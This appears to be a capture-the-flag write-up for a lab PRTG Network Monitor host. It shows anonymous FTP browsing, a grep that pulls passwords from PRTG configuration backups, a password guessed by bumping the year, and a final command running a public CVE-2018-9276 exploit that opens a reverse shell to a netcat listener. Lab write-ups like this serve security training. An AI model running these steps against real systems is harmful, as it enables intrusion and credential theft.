WebsitePermalink
SitePermalink
http://10.10.10.152/
As we can see site shows PRTG Network Monitor basic site, tried default credentials but doesn’t work.
FTPPermalink
ftp 10.10.10.152
We can grab first flag here navigate to
/users/public/desktop
Let’s continue exploring available resources
/windows/prtg configuration.dat
here we can find configuration files in this file I found username
Searching the internet I found interesting topic on reddit. https://www.reddit.com/r/sysadmin/comments/835dai/prtg_exposes_domain_accounts_and_passwords_in/?rdt=53631 Next I found PRTG Configuration.dat.old and PRTG Configuration.dat.old.bak
/programdata/paessler/"PRTG Network Monitor"
get both file and explore
grep -B5 -A5 -i password PRTG\ Configuration.old.bak | sed 's/ //g' |sort -u| less
and we found password
Unfortunately password doesn’t work. We can spot that logs are from 2018 and password contains year. After changing to “PrTg@dmin2019” we can log in.
Gaining AccessPermalink
https://www.rapid7.com/db/modules/exploit/windows/http/prtg_authenticated_rce/ As we can read in description, to use exploit we need to know credentials, what we have. In this case let’s try exploit without metasploit. I found simple script on github https://github.com/A1vinSmith/CVE-2018-9276
set nc and run exploit
./exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.14.43 --lport 4444 --user prtgadmin --password PrTg@dmin2019
